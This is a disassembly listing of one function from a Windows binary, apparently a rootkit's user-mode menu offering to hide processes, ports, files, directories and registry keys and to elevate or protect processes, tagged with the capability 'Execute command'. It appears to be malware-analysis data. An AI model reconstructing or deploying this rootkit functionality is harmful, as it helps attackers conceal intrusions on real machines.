Function at 0x14001131b
Capabilities:
Execute command

Disassembly:
jmp 0x140013660
push rbp
push rsi
push rdi
sub rsp, 0x1b0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x34
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140021008]
xor rax, rbp
mov qword [rbp + 0x188], rax
lea rcx, [0x1400270f9]
call fcn.140011456
call fcn.140011410
test eax, eax
jne 0x1400136b1
mov eax, 0xffffffff
jmp 0x1400138b7
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r9d, 0x3e8
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_setvbuf]
xor eax, eax
cmp eax, 1
je 0x1400138b5
mov dword [rbp + 4], 0
lea rcx, [0x14001d558]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str._n______________________________________________n_____________________________________n________________________________n_________________________n___________________n____________________________________n___________________________________________________n___________________________________________________________________n________________________________________________________________________n______________________________________________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
mov dl, 0xa
mov rcx, rax
call fcn.140011375
lea rdx, str.____Rootkit:_____n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.1._Hide_Process_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.2._Elevate_Process_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.3._Protect_Process_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.4._Hide_Port_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.6._Hide_File_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.7._Hide_Directory_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.8._Hide_Registry_Key_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.99._Exit_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, str.Option:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64____ptr64]
mov eax, dword [rbp + 4]
mov dword [rbp + 0x184], eax
cmp dword [rbp + 0x184], 1
je 0x140013825
cmp dword [rbp + 0x184], 2
je 0x140013837
cmp dword [rbp + 0x184], 3
je 0x140013849
cmp dword [rbp + 0x184], 4
je 0x14001385b
cmp dword [rbp + 0x184], 0x63
je 0x1400138ac
jmp 0x1400138b0
call fcn.140011401
mov dword [rbp + 0x24], eax
mov ecx, dword [rbp + 0x24]
call fcn.14001127b
jmp 0x1400138b0
call fcn.140011401
mov dword [rbp + 0x44], eax
mov ecx, dword [rbp + 0x44]
call fcn.140011339
jmp 0x1400138b0
call fcn.140011401
mov dword [rbp + 0x64], eax
mov ecx, dword [rbp + 0x64]
call fcn.1400110a5
jmp 0x1400138b0
lea rax, [rbp + 0x84]
mov rdi, rax
xor eax, eax
mov ecx, 6
rep stosb byte [rdi], al
lea rcx, [rbp + 0x84]
call fcn.14001118b
test eax, eax
jne 0x140013885
mov eax, 0xffffffff
jmp 0x1400138b7
lea rax, [rbp + 0x170]
lea rcx, [rbp + 0x84]
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x170]
call fcn.14001141f
xor eax, eax
jmp 0x1400138b7
jmp 0x1400136db
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001d380]
call fcn.1400113d4
mov rax, rdi
mov rcx, qword [rbp + 0x188]
xor rcx, rbp
call fcn.140011235
lea rsp, [rbp + 0x190]
pop rdi
pop rsi
pop rbp
ret